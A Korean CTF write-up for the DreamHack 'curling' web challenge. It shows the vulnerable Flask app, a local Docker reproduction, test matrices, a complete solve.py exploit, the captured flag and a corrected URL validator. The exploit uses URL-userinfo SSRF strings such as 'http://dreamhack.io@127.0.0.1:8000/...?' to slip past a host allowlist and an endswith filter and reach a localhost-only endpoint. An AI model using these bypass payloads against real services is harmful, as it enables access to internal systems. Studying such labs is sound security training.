[🥈 Silver 2] 검사기는 문자열을 보고 curl 은 URL 을 파싱한다 — DreamHack curling 풀이

find extracted -type f | sort ; grep -nE "route|ALLOWED_HOSTS|remote_addr|startswith|endswith|run\(" extracted/deploy/app.py

from flask import Flask, request
from os import urandom
from subprocess import run, TimeoutExpired
 
app = Flask(__name__)
app.secret_key = urandom(32)
 
try:
    FLAG = open("/flag", "r").read().strip()
except:
    FLAG = "[**FLAG**]"
 
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
 
@app.route("/api/v1/test/curl", methods=["POST"])
def admin():
    url = request.form["url"].strip()
    for host in ALLOWED_HOSTS:
        if url.startswith('http://' + host):
            break
 
        return {'result': False, 'msg': 'Not Allowed host'}
 
    if url.endswith('/test/internal'):
        return {'result': False, 'msg': 'Not Allowed endpoint'}
 
    try:
        response = run(
            ["curl", f"{url}"], capture_output=True, text=True, timeout=1
        )
        return {'result': True, 'msg': response.stdout}
 
    except TimeoutExpired:
        return {'result': False, 'msg': 'Timeout'}
 
 
@app.route('/api/v1/test/internal', methods=["GET"])
def test():
    ip = request.remote_addr
    if not ip == '127.0.0.1':
        return {'result': False, 'msg': 'Only local access is allowed'}
    return {'result': True, 'msg': FLAG}
 
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port='8000')

for host in ALLOWED_HOSTS:
    if url.startswith('http://' + host):
        break
 
    return {'result': False, 'msg': 'Not Allowed host'}

url.startswith('http://dreamhack.io')

# tools_loop_demo.py
ALLOWED_HOSTS = ['dreamhack.io', 'tools.dreamhack.io']
 
 
def check(url: str) -> bool:
    """app.py 의 for 루프 그대로. True = 통과, False = 'Not Allowed host'."""
    for host in ALLOWED_HOSTS:
        if url.startswith('http://' + host):
            break
 
        return False        # ← 이 return 이 루프 '안'에 있다
    return True
 
 
CASES = [
    'http://dreamhack.io/',
    'http://tools.dreamhack.io/',                       # 화이트리스트 2번째인데?
    'http://dreamhack.io.attacker.test/',
    'http://dreamhack.io@127.0.0.1:8000/',
    'http://127.0.0.1:8000/',
]
 
print(f"ALLOWED_HOSTS = {ALLOWED_HOSTS}")
print(f"루프가 실제로 검사하는 원소 개수: {1}  (첫 원소에서 무조건 return/break)")
print()
for url in CASES:
    print(f"  {'통과' if check(url) else '차단'}  {url}")

E: The repository 'http://deb.debian.org/debian buster-updates Release' does not have a Release file.

# Dockerfile.local — 배포본과 동일하되 apt 저장소만 archive 로
FROM python:3.10-slim-buster
 
ENV USER=dreamhack
ENV PORT=8000
RUN adduser --disabled-password $USER -u 1337
 
RUN printf '%s\n' \
      'deb [check-valid-until=no] http://archive.debian.org/debian buster main' \
      'deb [check-valid-until=no] http://archive.debian.org/debian-security buster/updates main' \
      > /etc/apt/sources.list \
 && apt-get -o Acquire::AllowInsecureRepositories=true \
            -o Acquire::AllowDowngradeToInsecureRepositories=true update -y \
 && apt-get -o APT::Get::AllowUnauthenticated=true install -y curl
 
WORKDIR /app
COPY ./extracted/deploy .
COPY ./extracted/flag /
 
RUN pip install -r requirements.txt
 
EXPOSE $PORT
 
CMD ["python3","app.py"]

#!/usr/bin/env bash
# run_local.sh — 로컬 재현 환경 기동
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
docker build -q -f Dockerfile.local -t curling-local .
docker rm -f curling-local >/dev/null 2>&1 || true
docker run -d --name curling-local -p 18000:8000 curling-local >/dev/null
sleep 2
 
docker ps --filter name=curling-local --format '{{.Names}}  {{.Status}}  {{.Ports}}'
echo    "동봉된 로컬 flag : $(cat extracted/flag)"
echo -n '허용 호스트 통과 : '
curl -s -m 5 -X POST http://127.0.0.1:18000/api/v1/test/curl \
     -d 'url=http://dreamhack.io/' | cut -c1-72

<!-- poc.html — 발췌. action 은 ?target= 로 넘긴 값으로 스크립트가 채운다 -->
<form id="f" method="POST" action="">
  <label for="url">url</label>
  <input id="url" name="url" value="" autocomplete="off">
  <button type="submit">send</button>
</form>
 
<script>
  const target = new URLSearchParams(location.search).get("target");
  if (target) document.getElementById("f").action = target.replace(/\/$/, "") + "/api/v1/test/curl";
</script>

authority = [ userinfo "@" ] host [ ":" port ]

http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal

docker exec curling-local sh -c "curl --version 2>&1 | sed -n '1p'; curl -sv 'http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?' -o /dev/null"

if url.endswith('/test/internal'):
    return {'result': False, 'msg': 'Not Allowed endpoint'}

ip = request.remote_addr
if not ip == '127.0.0.1':
    return {'result': False, 'msg': 'Only local access is allowed'}

docker logs curling-local 2>&1 | grep -E 'GET|POST'

127.0.0.1  - - "GET /api/v1/test/internal HTTP/1.1" 200 -
172.17.0.1 - - "POST /api/v1/test/curl HTTP/1.1" 200 -

# tools_matrix.py
CASES = [
    ("평범하게 내부로",            "http://127.0.0.1:8000/api/v1/test/internal"),
    ("localhost 로",               "http://localhost:8000/api/v1/test/internal"),
    ("화이트리스트 2번째 호스트",  "http://tools.dreamhack.io/"),
    ("userinfo 우회만",            "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal"),
    ("userinfo + 빈 쿼리 ?",       "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal?"),
    ("userinfo + 빈 프래그먼트 #", "http://dreamhack.io@127.0.0.1:8000/api/v1/test/internal#"),
    ("userinfo + %6C 인코딩",      "http://dreamhack.io@127.0.0.1:8000/api/v1/test/interna%6C"),
]
 
for label, url in CASES:
    try:
        msg = requests.post(BASE, data={"url": url}, timeout=10).json().get("msg", "")
    except Exception as e:                                  # noqa: BLE001
        msg = f"<{e.__class__.__name__}>"
    msg = " ".join(str(msg).split())
    verdict = "FLAG" if "DH{" in msg else "차단"
    print(f"  {verdict:4}  {pad(label, 30)}  {msg[:52]}")

#!/usr/bin/env python3
"""curling (DreamHack Silver 2, web) — SSRF exploit.
 
취약점 세 겹을 한 줄짜리 URL 하나로 통과한다.
 
  1) ALLOWED_HOSTS 루프의 return 위치가 잘못돼 실질 검사가
     url.startswith('http://dreamhack.io') 접두사 매칭 하나뿐이다.
  2) 접두사 매칭이라 URL userinfo 를 쓰면 검사를 통과하면서 실제 목적지는
     내 마음대로 잡을 수 있다 — http://dreamhack.io@127.0.0.1:8000/...
     ('dreamhack.io' 는 curl 에게 user 이름일 뿐, 호스트는 127.0.0.1)
  3) 마지막 관문 url.endswith('/test/internal') 은 뒤에 한 글자만 붙이면 깨진다.
     빈 쿼리스트링 '?' · 빈 프래그먼트 '#' · 경로 %6C 인코딩 셋 다 통한다.
 
사용법 (기본값이 실패값이다 — 대상 URL 을 반드시 인자로 준다):
 
    python3 solve.py http://host1.dreamhack.games:12345
    python3 solve.py http://127.0.0.1:18000 --variant frag
"""
import argparse
import re
import sys
 
import requests
 
# 문제 서버 컨테이너 안에서 Flask 가 듣고 있는 주소. app.run(host='0.0.0.0', port='8000')
INTERNAL = "127.0.0.1:8000"
PATH = "/api/v1/test/internal"
 
VARIANTS = {
    # 빈 쿼리스트링: endswith('/test/internal') 는 깨지고 werkzeug 라우팅은 그대로 매칭
    "query": f"http://dreamhack.io@{INTERNAL}{PATH}?",
    # 빈 프래그먼트: curl 이 '#' 뒤를 잘라내고 보내므로 서버가 받는 경로는 원본 그대로
    "frag": f"http://dreamhack.io@{INTERNAL}{PATH}#",
    # 경로 퍼센트 인코딩: curl 은 경로를 그대로 전달, werkzeug 가 %6C -> 'l' 로 디코딩
    "enc": f"http://dreamhack.io@{INTERNAL}{PATH[:-1]}%6C",
}
 
 
def exploit(base: str, variant: str, timeout: int = 10) -> str:
    url = VARIANTS[variant]
    print(f"[*] target   : {base}")
    print(f"[*] variant  : {variant}")
    print(f"[*] SSRF url : {url}")
 
    r = requests.post(
        base.rstrip("/") + "/api/v1/test/curl",
        data={"url": url},
        timeout=timeout,
    )
    print(f"[*] status   : {r.status_code}")
    body = r.text
    print(f"[*] response : {body.strip()[:300]}")
 
    m = re.search(r"DH\{[^}]+\}", body)
    if not m:
        print("[!] flag 없음 — 응답을 확인할 것", file=sys.stderr)
        sys.exit(1)
    return m.group(0)
 
 
def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("base", help="예: http://host1.dreamhack.games:12345")
    ap.add_argument("--variant", choices=sorted(VARIANTS), default="query")
    args = ap.parse_args()
 
    flag = exploit(args.base, args.variant)
    print()
    print(f"[+] FLAG: {flag}")
 
 
if __name__ == "__main__":
    main()

DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}

#!/usr/bin/env bash
# reproduce.sh — 인자 없으면 로컬 docker 로 체인 검증, 인자를 주면 라이브에서 진짜 flag
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
FLAG_LIVE='DH{S5Rf_1s_funNy:IGk+ne69OJvKOBX8HCnl2g==}'
if [ -f 문제.json ]; then
  FLAG_LIVE=$(python3 -c "import json;print(json.load(open('문제.json')).get('flag',''))" 2>/dev/null || echo "$FLAG_LIVE")
fi
 
if [ $# -ge 1 ]; then
  TARGET="$1"; MODE="live"; EXPECT="$FLAG_LIVE"
else
  echo "[*] 로컬 docker 기동 (Dockerfile.local — buster EOL 이라 archive.debian.org 사용)"
  ./run_local.sh
  TARGET="http://127.0.0.1:18000"; MODE="local"
  EXPECT=$(cat extracted/flag)
fi
 
echo
echo "[*] mode=$MODE  target=$TARGET"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && [ "$FLAG" = "$EXPECT" ]; then
  echo
  if [ "$MODE" = local ]; then
    echo "✅ PASS  $FLAG   (동봉된 로컬 flag — 익스 체인 정상. 진짜 flag 는 라이브 서버에서만 나온다)"
  else
    echo "✅ PASS  $FLAG"
  fi
  exit 0
fi
 
echo
echo "❌ FAIL (얻은 값: '${FLAG:-없음}' / 기대: '$EXPECT')"
exit 1

from urllib.parse import urlparse
 
parsed = urlparse(url)
if parsed.scheme not in ('http', 'https') or parsed.hostname not in ALLOWED_HOSTS:
    return {'result': False, 'msg': 'Not Allowed host'}

import ipaddress
import socket
from urllib.parse import urlparse
 
ALLOWED_HOSTS = {'dreamhack.io', 'tools.dreamhack.io'}
 
 
def safe_target(raw: str) -> str:
    parsed = urlparse(raw)
 
    # 1) 스킴·호스트를 파싱해서 본다. 접두사 비교가 아니라 정확히 일치.
    if parsed.scheme not in ('http', 'https'):
        raise ValueError('scheme')
    if parsed.hostname not in ALLOWED_HOSTS:      # userinfo 는 hostname 에 안 들어온다
        raise ValueError('host')
 
    # 2) 실제로 연결될 주소가 내부인지 확인한다. DNS 리바인딩까지 막으려면
    #    여기서 얻은 IP 로 직접 접속하고 Host 헤더만 원래 호스트로 보낸다.
    for family, _, _, _, sockaddr in socket.getaddrinfo(parsed.hostname, None):
        ip = ipaddress.ip_address(sockaddr[0])
        if ip.is_private or ip.is_loopback or ip.is_link_local or ip.is_reserved:
            raise ValueError('internal address')
 
    return raw